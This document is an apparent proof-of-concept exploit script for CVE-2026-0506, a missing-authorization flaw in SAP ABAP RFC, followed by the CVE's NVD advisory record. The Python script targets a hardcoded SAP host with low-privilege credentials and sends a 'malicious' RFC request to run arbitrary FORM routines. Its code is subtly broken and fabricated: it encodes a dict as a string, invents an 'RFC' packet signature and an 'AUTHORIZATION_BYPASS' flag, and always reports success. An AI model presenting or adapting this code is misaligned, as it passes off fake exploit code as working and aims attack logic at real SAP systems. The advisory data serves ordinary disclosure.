CVE-2026-0506

# CVE-2026-0506 PoC - SAP ABAP Unauthorized FORM Execution via RFC # This PoC demonstrates the exploitation of missing authorization check # in SAP ABAP RFC function module import socket import struct def create_rfc_connection(target_ip, target_port, sysnr): """Establish RFC connection to SAP ABAP system""" rfc_conn = { 'host': target_ip, 'port': target_port, 'sysnr': sysnr, 'client': '001', 'user': 'SAPUSER', # Low-privilege user 'password': 'password123' } return rfc_conn def exploit_missing_auth_check(rfc_conn, target_form): """Exploit CVE-2026-0506 by calling FORM without proper authorization""" # Construct malicious RFC request to invoke FORM exploit_payload = { 'FUNCTION_NAME': 'RFC_FUNCTION_MODULE', 'FORM_NAME': target_form, # Target FORM routine 'IMPORT_PARAMS': { 'PARAM1': 'malicious_data', 'PARAM2': 'unauthorized_execution' }, 'AUTHORIZATION_BYPASS': True # Exploit missing auth check } # Send RFC request without proper authorization validation response = send_rfc_request(rfc_conn, exploit_payload) return response def send_rfc_request(conn, payload): """Send RFC request to SAP system""" # RFC protocol implementation rfc_packet = build_rfc_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((conn['host'], conn['port'])) sock.send(rfc_packet) response = sock.recv(4096) sock.close() return parse_rfc_response(response) def build_rfc_packet(payload): """Build RFC protocol packet""" # RFC protocol header and payload construction packet = b'RFC' # RFC signature packet += struct.pack('>I', len(payload)) packet += payload.encode('utf-8') return packet def parse_rfc_response(response): """Parse RFC response""" return {'status': 'success', 'data': response} # Example usage if __name__ == '__main__': target = '192.168.1.100' port = 3300 sysnr = '00' # Connect to SAP system conn = create_rfc_connection(target, port, sysnr) # Target FORM routine for exploitation target_form = ' arbitrary_form_routine' # Execute exploit result = exploit_missing_auth_check(conn, target_form) print(f"Exploitation result: {result}")

{"cve": {"id": "CVE-2026-0506", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:53.277", "lastModified": "2026-01-22T18:48:00.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Missing Authorization Check vulnerability in Application Server ABAP and ABAP Platform, an authenticated attacker could misuse an RFC function to execute form routines (FORMs) in the ABAP system. Successful exploitation could allow the attacker to write or modify data accessible via FORMs and invoke system functionality exposed via FORMs, resulting in a high impact on integrity and availability, while confidentiality remains unaffected."}, {"lang": "es", "value": "Debido a una vulnerabilidad por falta de verificación de autorización en el Servidor de Aplicaciones ABAP y la Plataforma ABAP, un atacante autenticado podría hacer un uso indebido de una función RFC para ejecutar rutinas de formulario (FORMs) en el sistema ABAP. La explotación exitosa podría permitir al atacante escribir o modificar datos accesibles a través de FORMs e invocar funcionalidad del sistema expuesta a través de FORMs, resultando en un alto impacto en la integridad y la disponibilidad, mientras que la confidencialidad no se ve afectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:700:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "6F048ED9-2DDF-4EB9-8571-73832AFABF6A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:701:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "C37DC475-6B9A-493C-9A6F-28CDD65D2A5B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:702:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "2BD9FE51-F76C-439A-A3C0-5279EC1059F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:731:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "4EB54432-0E1A-45F2-BEE1-8DC28FAADA9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:740:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "8E96C58C-ED44-487B-A67E-FDAE3C29023A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:750:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "A14DF5EB-B8CE-4A47-9959-2F65A5DCEF5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:751:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "3E0CA53D-4335-4872-B527-30802E31B893"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:752:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "419BA423-0803-4F51-8889-014A521F02CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:753:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "DA20ECDC-8807-462C-A0F0-70DF6F5A119B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:754:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "800AAC21-325C-4F16-AE5A-9F89327E5356"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:755:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "BDC15DB7-A95B-475F-AAA6-60A801F65690"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:756:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "55A2FECF-A32E-4188-9563-E8BA0E952261"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:757:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "9CBF2E53-17F0-4BF0-9C38-749C7E611BF4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:758:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "5160572B-E3AB-4B96-8950-07DDAFA0E4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:netweaver_application_server_abap:816:*:*:*:sap_basis:*:*:*", "matchCriteriaId": "32888162-53F9-4598-8C04-E4A4903AAB57"}]}]}], "references": [{"url": "https://me.sap.com/notes/3688703", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}